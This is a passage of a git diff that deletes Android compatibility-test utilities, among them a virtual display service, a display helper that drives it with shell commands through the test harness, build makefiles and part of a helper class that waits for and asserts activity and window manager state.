-import android.graphics.PixelFormat;
-import android.hardware.display.DisplayManager;
-import android.hardware.display.VirtualDisplay;
-import android.media.ImageReader;
-import android.os.Bundle;
-import android.os.IBinder;
-import android.util.Log;
-import android.view.Surface;
-
-public class VirtualDisplayService extends Service {
-    private static final String NOTIFICATION_CHANNEL_ID = "cts/VirtualDisplayService";
-    private static final String TAG = "VirtualDisplayService";
-
-    private static final int FOREGROUND_ID = 1;
-
-    private static final int DENSITY = 160;
-    private static final int HEIGHT = 480;
-    private static final int WIDTH = 800;
-
-    private ImageReader mReader;
-    private VirtualDisplay mVirtualDisplay;
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-
-        NotificationManager notificationManager = getSystemService(NotificationManager.class);
-        notificationManager.createNotificationChannel(new NotificationChannel(
-            NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
-            NotificationManager.IMPORTANCE_DEFAULT));
-        Notification notif = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
-                .setSmallIcon(android.R.drawable.ic_dialog_alert)
-                .build();
-        startForeground(FOREGROUND_ID, notif);
-    }
-
-    @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        String command = intent.getStringExtra("command");
-        Log.d(TAG, "Got command: " + command);
-
-        if ("create".equals(command)) {
-            createVirtualDisplay(intent);
-        } if ("off".equals(command)) {
-            mVirtualDisplay.setSurface(null);
-        } else if ("on".equals(command)) {
-            mVirtualDisplay.setSurface(mReader.getSurface());
-        } else if ("destroy".equals(command)) {
-            destroyVirtualDisplay();
-            stopSelf();
-        }
-
-        return START_NOT_STICKY;
-    }
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return null;
-    }
-
-    private void createVirtualDisplay(Intent intent) {
-        mReader = ImageReader.newInstance(WIDTH, HEIGHT, PixelFormat.RGBA_8888, 2);
-
-        final DisplayManager displayManager = getSystemService(DisplayManager.class);
-        final String name = "CtsVirtualDisplay";
-
-        int flags = VIRTUAL_DISPLAY_FLAG_PRESENTATION | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
-        if (intent.getBooleanExtra("show_content_when_locked", false /* defaultValue */)) {
-            flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
-        }
-        mVirtualDisplay = displayManager.createVirtualDisplay(
-                name, WIDTH, HEIGHT, DENSITY, mReader.getSurface(), flags);
-    }
-
-    private void destroyVirtualDisplay() {
-        mVirtualDisplay.release();
-        mReader.close();
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
deleted file mode 100644
index 0df59e7..0000000
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-
-LOCAL_MODULE := cts-display-service-app-util
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java
deleted file mode 100644
index 89683a0..0000000
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package android.server.displayservice;
-
-import static junit.framework.Assert.assertTrue;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-
-public class DisplayHelper {
-    private static final String VIRTUAL_DISPLAY_NAME = "CtsVirtualDisplay";
-    private static final String VIRTUAL_DISPLAY_SERVICE =
-            "android.server.displayservice/.VirtualDisplayService";
-    private static final Pattern mDisplayDevicePattern = Pattern.compile(
-            ".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
-
-    private boolean mCreated;
-    private final ITestDevice mDevice;
-
-    public DisplayHelper(ITestDevice device) {
-        mDevice = device;
-    }
-
-    public void createAndWaitForDisplay(boolean external, boolean requestShowWhenLocked)
-            throws DeviceNotAvailableException {
-        StringBuilder command =
-                new StringBuilder("am startfgservice -n " + VIRTUAL_DISPLAY_SERVICE);
-        command.append(" --es command create");
-        if (external) {
-            command.append(" --ez external_display true");
-        }
-        if (requestShowWhenLocked) {
-            command.append(" --ez show_content_when_locked true");
-        }
-        mDevice.executeShellCommand(command.toString());
-
-        waitForDisplayState(mDevice, false /* default */, true /* exists */, true /* on */);
-        mCreated = true;
-    }
-
-    public void turnDisplayOff() throws DeviceNotAvailableException {
-        mDevice.executeShellCommand(
-                "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command off");
-        waitForDisplayState(mDevice, false /* default */, true /* exists */, false /* on */);
-    }
-
-    public void turnDisplayOn() throws DeviceNotAvailableException {
-        mDevice.executeShellCommand(
-                "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command on");
-        waitForDisplayState(mDevice, false /* default */, true /* exists */, true /* on */);
-    }
-
-    public void releaseDisplay() throws DeviceNotAvailableException {
-        if (mCreated) {
-            mDevice.executeShellCommand(
-                    "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command destroy");
-            waitForDisplayState(mDevice, false /* default */, false /* exists */, true /* on */);
-        }
-        mCreated = false;
-    }
-
-    public static void waitForDefaultDisplayState(ITestDevice device, boolean wantOn)
-            throws DeviceNotAvailableException {
-        waitForDisplayState(device, true /* default */, true /* exists */, wantOn);
-    }
-
-    public static boolean getDefaultDisplayState(ITestDevice device)
-            throws DeviceNotAvailableException {
-        return getDisplayState(device, true);
-    }
-
-    private static void waitForDisplayState(
-            ITestDevice device, boolean defaultDisplay, boolean wantExists, boolean wantOn)
-            throws DeviceNotAvailableException {
-        int tries = 0;
-        boolean done = false;
-        do {
-            if (tries > 0) {
-                try {
-                    Thread.sleep(500);
-                } catch (InterruptedException e) {
-                    // Oh well
-                }
-            }
-
-            Boolean state = getDisplayState(device, defaultDisplay);
-            done = (!wantExists && state == null)
-                    || (wantExists && state != null && state == wantOn);
-
-            tries++;
-        } while (tries < 10 && !done);
-
-        assertTrue(done);
-    }
-
-    private static Boolean getDisplayState(ITestDevice device, boolean defaultDisplay)
-            throws DeviceNotAvailableException {
-        final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        device.executeShellCommand("dumpsys display", outputReceiver);
-        String dump = outputReceiver.getOutput();
-
-        boolean displayExists = false;
-        boolean displayOn = false;
-        for (String line : dump.split("\\n")) {
-            Matcher matcher = mDisplayDevicePattern.matcher(line);
-            if (matcher.matches()) {
-                if ((defaultDisplay && line.contains("FLAG_DEFAULT_DISPLAY"))
-                        || (!defaultDisplay && VIRTUAL_DISPLAY_NAME.equals(matcher.group(1)))) {
-                    return "ON".equals(matcher.group(2));
-                }
-            }
-        }
-        return null;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/Android.mk b/hostsidetests/services/activityandwindowmanager/util/Android.mk
deleted file mode 100644
index 993ba94..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src)
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-
-LOCAL_MODULE := cts-amwm-util
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
deleted file mode 100644
index a54ed19..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
+++ /dev/null
@@ -1,844 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.ActivityManagerState.RESIZE_MODE_RESIZEABLE;
-import static android.server.cts.ActivityManagerTestBase.DOCKED_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.FREEFORM_WORKSPACE_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.HOME_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.PINNED_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.componentName;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
-import android.server.cts.WindowManagerState.Display;
-import android.server.cts.WindowManagerState.WindowStack;
-import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.WindowManagerState.WindowTask;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import junit.framework.Assert;
-
-import java.awt.Rectangle;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Objects;
-import java.util.function.BiPredicate;
-import java.util.function.BooleanSupplier;
-import java.util.function.Predicate;
-
-/** Combined state of the activity manager and window manager. */
-public class ActivityAndWindowManagersState extends Assert {
-
-    // Clone of android DisplayMetrics.DENSITY_DEFAULT (DENSITY_MEDIUM)
-    // (Needed in host-side tests to convert dp to px.)
-    private static final int DISPLAY_DENSITY_DEFAULT = 160;
-    public static final int DEFAULT_DISPLAY_ID = 0;
-
-    // Default minimal size of resizable task, used if none is set explicitly.
-    // Must be kept in sync with 'default_minimal_size_resizable_task' dimen from frameworks/base.
-    private static final int DEFAULT_RESIZABLE_TASK_SIZE_DP = 220;
-
-    // Default minimal size of a resizable PiP task, used if none is set explicitly.
-    // Must be kept in sync with 'default_minimal_size_pip_resizable_task' dimen from
-    // frameworks/base.
-    private static final int DEFAULT_PIP_RESIZABLE_TASK_SIZE_DP = 108;
-
-    private ActivityManagerState mAmState = new ActivityManagerState();
-    private WindowManagerState mWmState = new WindowManagerState();
-
-    private final List<WindowManagerState.WindowState> mTempWindowList = new ArrayList<>();
-
-    private boolean mUseActivityNames = true;
-
-    /**
-     * Compute AM and WM state of device, check sanity and bounds.
-     * WM state will include only visible windows, stack and task bounds will be compared.
-     *
-     * @param device test device.
-     * @param waitForActivitiesVisible array of activity names to wait for.
-     */
-    public void computeState(ITestDevice device, String[] waitForActivitiesVisible)
-            throws Exception {
-        computeState(device, waitForActivitiesVisible, true);
-    }
-
-    /**
-     * Compute AM and WM state of device, check sanity and bounds.
-     *
-     * @param device test device.
-     * @param waitForActivitiesVisible array of activity names to wait for.
-     * @param compareTaskAndStackBounds pass 'true' if stack and task bounds should be compared,
-     *                                  'false' otherwise.
-     */
-    void computeState(ITestDevice device, String[] waitForActivitiesVisible,
-                      boolean compareTaskAndStackBounds) throws Exception {
-        waitForValidState(device, waitForActivitiesVisible, null /* stackIds */,
-                compareTaskAndStackBounds);
-
-        assertSanity();
-        assertValidBounds(compareTaskAndStackBounds);
-    }
-
-    /**
-     * By default computeState allows you to pass only the activity name it and
-     * it will generate the full window name for the main activity window. In the
-     * case of secondary application windows though this isn't helpful, as they
-     * may follow a different format, so this method lets you disable that behavior,
-     * prior to calling a computeState variant
-     */
-    void setUseActivityNamesForWindowNames(boolean useActivityNames) {
-        mUseActivityNames = useActivityNames;
-    }
-
-    /**
-     * Compute AM and WM state of device, wait for the activity records to be added, and
-     * wait for debugger window to show up.
-     *
-     * This should only be used when starting with -D (debugger) option, where we pop up the
-     * waiting-for-debugger window, but real activity window won't show up since we're waiting
-     * for debugger.
-     */
-    void waitForDebuggerWindowVisible(
-            ITestDevice device, String[] waitForActivityRecords) throws Exception {
-        int retriesLeft = 5;
-        do {
-            mAmState.computeState(device);
-            mWmState.computeState(device);
-            if (shouldWaitForDebuggerWindow() ||
-                    shouldWaitForActivityRecords(waitForActivityRecords)) {
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-    }
-
-    /**
-     * Wait for the activity to appear and for valid state in AM and WM.
-     *
-     * @param device test device.
-     * @param waitForActivityVisible name of activity to wait for.
-     */
-    void waitForValidState(ITestDevice device, String waitForActivityVisible)
-            throws Exception {
-        waitForValidState(device, new String[]{waitForActivityVisible}, null /* stackIds */,
-                false /* compareTaskAndStackBounds */);
-    }
-
-    /**
-     * Wait for the activity to appear in proper stack and for valid state in AM and WM.
-     *
-     * @param device test device.
-     * @param waitForActivityVisible name of activity to wait for.
-     * @param stackId id of the stack where provided activity should be found.
-     */
-    void waitForValidState(ITestDevice device, String waitForActivityVisible, int stackId)
-            throws Exception {
-        waitForValidState(device, new String[]{waitForActivityVisible}, new int[]{stackId},
-                false /* compareTaskAndStackBounds */);
-    }
-
-    /**
-     * Wait for the activities to appear in proper stacks and for valid state in AM and WM.
-     *
-     * @param device test device.
-     * @param waitForActivitiesVisible array of activity names to wait for.
-     * @param stackIds ids of stack where provided activities should be found.
-     *                 Pass null to skip this check.
-     * @param compareTaskAndStackBounds flag indicating if we should compare task and stack bounds
-     *                                  for equality.
-     */
-    void waitForValidState(ITestDevice device, String[] waitForActivitiesVisible, int[] stackIds,
-            boolean compareTaskAndStackBounds) throws Exception {
-        waitForValidState(device, waitForActivitiesVisible, stackIds, compareTaskAndStackBounds,
-                componentName);
-    }
-
-    /**
-     * Wait for the activities to appear in proper stacks and for valid state in AM and WM.
-     *
-     * @param device test device.
-     * @param waitForActivitiesVisible array of activity names to wait for.
-     * @param stackIds ids of stack where provided activities should be found.
-     *                 Pass null to skip this check.
-     * @param compareTaskAndStackBounds flag indicating if we should compare task and stack bounds
-     *                                  for equality.
-     * @param packageName name of the package of activities that we're waiting for.
-     */
-    void waitForValidState(ITestDevice device, String[] waitForActivitiesVisible, int[] stackIds,
-            boolean compareTaskAndStackBounds, String packageName) throws Exception {
-        int retriesLeft = 5;
-        do {
-            // TODO: Get state of AM and WM at the same time to avoid mismatches caused by
-            // requesting dump in some intermediate state.
-            mAmState.computeState(device);
-            mWmState.computeState(device);
-            if (shouldWaitForValidStacks(compareTaskAndStackBounds)
-                    || shouldWaitForActivities(waitForActivitiesVisible, stackIds, packageName)
-                    || shouldWaitForWindows()) {
-                log("***Waiting for valid stacks and activities states...");
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-    }
-
-    void waitForAllStoppedActivities(ITestDevice device) throws Exception {
-        int retriesLeft = 5;
-        do {
-            mAmState.computeState(device);
-            if (mAmState.containsStartedActivities()){
-                log("***Waiting for valid stacks and activities states...");
-                try {
-                    Thread.sleep(1500);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-
-        assertFalse(mAmState.containsStartedActivities());
-    }
-
-    void waitForHomeActivityVisible(ITestDevice device) throws Exception {
-        waitForValidState(device, mAmState.getHomeActivityName());
-    }
-
-    /** @return true if recents activity is visible. Devices without recents will return false */
-    boolean waitForRecentsActivityVisible(ITestDevice device) throws Exception {
-        waitForWithAmState(device, ActivityManagerState::isRecentsActivityVisible,
-                "***Waiting for recents activity to be visible...");
-        return mAmState.isRecentsActivityVisible();
-    }
-
-    void waitForKeyguardShowingAndNotOccluded(ITestDevice device) throws Exception {
-        waitForWithAmState(device, state -> state.getKeyguardControllerState().keyguardShowing
-                        && !state.getKeyguardControllerState().keyguardOccluded,
-                "***Waiting for Keyguard showing...");
-    }
-
-    void waitForKeyguardShowingAndOccluded(ITestDevice device) throws Exception {
-        waitForWithAmState(device, state -> state.getKeyguardControllerState().keyguardShowing
-                        && state.getKeyguardControllerState().keyguardOccluded,
-                "***Waiting for Keyguard showing and occluded...");
-    }
-
-    void waitForKeyguardGone(ITestDevice device) throws Exception {
-        waitForWithAmState(device, state -> !state.getKeyguardControllerState().keyguardShowing,
-                "***Waiting for Keyguard gone...");
-    }
-
-    void waitForRotation(ITestDevice device, int rotation) throws Exception {
-        waitForWithWmState(device, state -> state.getRotation() == rotation,
-                "***Waiting for Rotation: " + rotation);
-    }
-
-    void waitForDisplayUnfrozen(ITestDevice device) throws Exception {
-        waitForWithWmState(device, state -> !state.isDisplayFrozen(),
-                "***Waiting for Display unfrozen");
-    }
-
-    void waitForActivityState(ITestDevice device, String activityName, String... activityStates)
-        throws Exception {
-        waitForWithAmState(device, state -> {
-                for (String activityState : activityStates) {
-                    if (state.hasActivityState(activityName, activityState)) {
-                        return true;
-                    }
-                }
-                return false;
-            },
-            "***Waiting for Activity State: " + activityStates);
-    }
-
-    void waitForFocusedStack(ITestDevice device, int stackId) throws Exception {
-        waitForWithAmState(device, state -> state.getFocusedStackId() == stackId,
-                "***Waiting for focused stack...");
-    }
-
-    void waitForAppTransitionIdle(ITestDevice device) throws Exception {
-        waitForWithWmState(device,
-                state -> WindowManagerState.APP_STATE_IDLE.equals(state.getAppTransitionState()),
-                "***Waiting for app transition idle...");
-    }
-
-    void waitForWithAmState(ITestDevice device, Predicate<ActivityManagerState> waitCondition,
-            String message) throws Exception{
-        waitFor(device, (amState, wmState) -> waitCondition.test(amState), message);
-    }
-
-    void waitForWithWmState(ITestDevice device, Predicate<WindowManagerState> waitCondition,
-            String message) throws Exception{
-        waitFor(device, (amState, wmState) -> waitCondition.test(wmState), message);
-    }
-
-    void waitFor(ITestDevice device,
-            BiPredicate<ActivityManagerState, WindowManagerState> waitCondition, String message)
-            throws Exception {
-        waitFor(message, () -> {
-            try {
-                mAmState.computeState(device);
-                mWmState.computeState(device);
-            } catch (Exception e) {
-                logE(e.toString());
-                return false;
-            }
-            return waitCondition.test(mAmState, mWmState);
-        });
-    }
-
-    void waitFor(String message, BooleanSupplier waitCondition) throws Exception {
-        int retriesLeft = 5;
-        do {
-            if (!waitCondition.getAsBoolean()) {
-                log(message);
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-    }
-
-    /** @return true if should wait for valid stacks state. */
-    private boolean shouldWaitForValidStacks(boolean compareTaskAndStackBounds) {
-        if (!taskListsInAmAndWmAreEqual()) {
-            // We want to wait for equal task lists in AM and WM in case we caught them in the
-            // middle of some state change operations.
-            log("***taskListsInAmAndWmAreEqual=false");
-            return true;
-        }
-        if (!stackBoundsInAMAndWMAreEqual()) {
-            // We want to wait a little for the stacks in AM and WM to have equal bounds as there
-            // might be a transition animation ongoing when we got the states from WM AM separately.
-            log("***stackBoundsInAMAndWMAreEqual=false");
-            return true;
-        }
-        try {
-            // Temporary fix to avoid catching intermediate state with different task bounds in AM
-            // and WM.
-            assertValidBounds(compareTaskAndStackBounds);
-        } catch (AssertionError e) {
-            log("***taskBoundsInAMAndWMAreEqual=false : " + e.getMessage());
-            return true;
-        }
-        final int stackCount = mAmState.getStackCount();
-        if (stackCount == 0) {
-            log("***stackCount=" + stackCount);
-            return true;
-        }
-        final int resumedActivitiesCount = mAmState.getResumedActivitiesCount();
-        if (!mAmState.getKeyguardControllerState().keyguardShowing && resumedActivitiesCount != 1) {
-            log("***resumedActivitiesCount=" + resumedActivitiesCount);
-            return true;
-        }
-        if (mAmState.getFocusedActivity() == null) {
-            log("***focusedActivity=null");
-            return true;
-        }
-        return false;
-    }
-
-    /** @return true if should wait for some activities to become visible. */
-    private boolean shouldWaitForActivities(String[] waitForActivitiesVisible, int[] stackIds,
-            String packageName) {
-        if (waitForActivitiesVisible == null || waitForActivitiesVisible.length == 0) {
-            return false;
-        }
-        // If the caller is interested in us waiting for some particular activity windows to be
-        // visible before compute the state. Check for the visibility of those activity windows
-        // and for placing them in correct stacks (if requested).
-        boolean allActivityWindowsVisible = true;
-        boolean tasksInCorrectStacks = true;
-        List<WindowManagerState.WindowState> matchingWindowStates = new ArrayList<>();
-        for (int i = 0; i < waitForActivitiesVisible.length; i++) {
-            // Check if window is visible - it should be represented as one of the window states.
-            final String windowName = mUseActivityNames ?
-                    ActivityManagerTestBase.getWindowName(packageName, waitForActivitiesVisible[i])
-                    : waitForActivitiesVisible[i];
-            final String activityComponentName =
-                    ActivityManagerTestBase.getActivityComponentName(packageName,
-                            waitForActivitiesVisible[i]);
-
-            mWmState.getMatchingVisibleWindowState(windowName, matchingWindowStates);
-            boolean activityWindowVisible = !matchingWindowStates.isEmpty();
-            if (!activityWindowVisible) {
-                log("Activity window not visible: " + windowName);
-                allActivityWindowsVisible = false;
-            } else if (!mAmState.isActivityVisible(activityComponentName)) {
-                log("Activity not visible: " + activityComponentName);
-                allActivityWindowsVisible = false;
-            } else if (stackIds != null) {
-                // Check if window is already in stack requested by test.
-                boolean windowInCorrectStack = false;
-                for (WindowManagerState.WindowState ws : matchingWindowStates) {
-                    if (ws.getStackId() == stackIds[i]) {
-                        windowInCorrectStack = true;
-                        break;
-                    }
-                }
-                if (!windowInCorrectStack) {
-                    log("Window in incorrect stack: " + waitForActivitiesVisible[i]);
-                    tasksInCorrectStacks = false;
-                }
-            }
-        }
-        return !allActivityWindowsVisible || !tasksInCorrectStacks;
-    }
-
-    /** @return true if should wait valid windows state. */
-    private boolean shouldWaitForWindows() {
-        if (mWmState.getFrontWindow() == null) {
-            log("***frontWindow=null");
-            return true;
-        }
-        if (mWmState.getFocusedWindow() == null) {
-            log("***focusedWindow=null");
-            return true;
-        }
-        if (mWmState.getFocusedApp() == null) {
-            log("***focusedApp=null");
-            return true;
-        }
-
-        return false;
-    }
-
-    private boolean shouldWaitForDebuggerWindow() {
-        List<WindowManagerState.WindowState> matchingWindowStates = new ArrayList<>();
-        mWmState.getMatchingVisibleWindowState("android.server.cts", matchingWindowStates);
-        for (WindowState ws : matchingWindowStates) {
-            if (ws.isDebuggerWindow()) {
-                return false;
-            }
-        }
-        log("Debugger window not available yet");
-        return true;
-    }
-
-    private boolean shouldWaitForActivityRecords(String[] waitForActivityRecords) {
-        if (waitForActivityRecords == null || waitForActivityRecords.length == 0) {
-            return false;
-        }
-        // Check if the activity records we're looking for is already added.
-        for (int i = 0; i < waitForActivityRecords.length; i++) {
-            if (!mAmState.isActivityVisible(waitForActivityRecords[i])) {
-                log("ActivityRecord " + waitForActivityRecords[i] + " not visible yet");
-                return true;
-            }
-        }
-        return false;
-    }
-
-    ActivityManagerState getAmState() {
-        return mAmState;
-    }
-
-    public WindowManagerState getWmState() {
-        return mWmState;
-    }
-
-    void assertSanity() throws Exception {
-        assertTrue("Must have stacks", mAmState.getStackCount() > 0);
-        if (!mAmState.getKeyguardControllerState().keyguardShowing) {
-            assertEquals("There should be one and only one resumed activity in the system.",
-                    1, mAmState.getResumedActivitiesCount());
-        }
-        assertNotNull("Must have focus activity.", mAmState.getFocusedActivity());
-
-        for (ActivityStack aStack : mAmState.getStacks()) {
-            final int stackId = aStack.mStackId;
-            for (ActivityTask aTask : aStack.getTasks()) {
-                assertEquals("Stack can only contain its own tasks", stackId, aTask.mStackId);
-            }
-        }
-
-        assertNotNull("Must have front window.", mWmState.getFrontWindow());
-        assertNotNull("Must have focused window.", mWmState.getFocusedWindow());
-        assertNotNull("Must have app.", mWmState.getFocusedApp());
-    }
-
-    void assertContainsStack(String msg, int stackId) throws Exception {
-        assertTrue(msg, mAmState.containsStack(stackId));
-        assertTrue(msg, mWmState.containsStack(stackId));
-    }
-
-    void assertDoesNotContainStack(String msg, int stackId) throws Exception {
-        assertFalse(msg, mAmState.containsStack(stackId));
-        assertFalse(msg, mWmState.containsStack(stackId));
-    }
-
-    void assertFrontStack(String msg, int stackId) throws Exception {
-        assertEquals(msg, stackId, mAmState.getFrontStackId(DEFAULT_DISPLAY_ID));
-        assertEquals(msg, stackId, mWmState.getFrontStackId(DEFAULT_DISPLAY_ID));
-    }
-
-    void assertFocusedStack(String msg, int stackId) throws Exception {
-        assertEquals(msg, stackId, mAmState.getFocusedStackId());
-    }
-
-    void assertNotFocusedStack(String msg, int stackId) throws Exception {
-        if (stackId == mAmState.getFocusedStackId()) {
-            failNotEquals(msg, stackId, mAmState.getFocusedStackId());
-        }
-    }
-
-    void assertFocusedActivity(String msg, String activityName) throws Exception {
-        assertFocusedActivity(msg, componentName, activityName);
-    }
-
-    void assertFocusedActivity(String msg, String packageName, String activityName)
-            throws Exception {
-        final String componentName = ActivityManagerTestBase.getActivityComponentName(packageName,
-                activityName);
-        assertEquals(msg, componentName, mAmState.getFocusedActivity());
-        assertEquals(msg, componentName, mWmState.getFocusedApp());
-    }
-
-    void assertNotFocusedActivity(String msg, String activityName) throws Exception {
-        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
-        if (mAmState.getFocusedActivity().equals(componentName)) {
-            failNotEquals(msg, mAmState.getFocusedActivity(), componentName);
-        }
-        if (mWmState.getFocusedApp().equals(componentName)) {
-            failNotEquals(msg, mWmState.getFocusedApp(), componentName);
-        }
-    }
-
-    void assertResumedActivity(String msg, String activityName) throws Exception {
-        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
-        assertEquals(msg, componentName, mAmState.getResumedActivity());
-    }
-
-    void assertNotResumedActivity(String msg, String activityName) throws Exception {
-        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
-        if (mAmState.getResumedActivity().equals(componentName)) {
-            failNotEquals(msg, mAmState.getResumedActivity(), componentName);
-        }
-    }
-
-    void assertFocusedWindow(String msg, String windowName) {
-        assertEquals(msg, windowName, mWmState.getFocusedWindow());
-    }
-
-    void assertNotFocusedWindow(String msg, String windowName) {
-        if (mWmState.getFocusedWindow().equals(windowName)) {
-            failNotEquals(msg, mWmState.getFocusedWindow(), windowName);
-        }
-    }
-
-    void assertFrontWindow(String msg, String windowName) {
-        assertEquals(msg, windowName, mWmState.getFrontWindow());
-    }
-
-    void assertVisibility(String activityName, boolean visible) {
-        final String activityComponentName =
-                ActivityManagerTestBase.getActivityComponentName(activityName);
-        final String windowName =
-                ActivityManagerTestBase.getWindowName(activityName);
-        assertVisibility(activityComponentName, windowName, visible);
-    }
-
-    private void assertVisibility(String activityComponentName, String windowName,
-            boolean visible) {
-        final boolean activityVisible = mAmState.isActivityVisible(activityComponentName);
-        final boolean windowVisible = mWmState.isWindowVisible(windowName);
-
-        if (visible) {
-            assertTrue("Activity=" + activityComponentName + " must be visible.", activityVisible);
-            assertTrue("Window=" + windowName + " must be visible.", windowVisible);
-        } else {
-            assertFalse("Activity=" + activityComponentName + " must NOT be visible.",
-                    activityVisible);
-            assertFalse("Window=" + windowName + " must NOT be visible.", windowVisible);
-        }
-    }
-
-    void assertHomeActivityVisible(boolean visible) {
-        String name = mAmState.getHomeActivityName();
-        assertNotNull(name);
-        assertVisibility(name, getWindowNameForActivityName(name), visible);
-    }
-
-    /**
-     * Asserts that the device default display minimim width is larger than the minimum task width.
-     */
-    void assertDeviceDefaultDisplaySize(ITestDevice device, String errorMessage) throws Exception {
-        computeState(device, null);
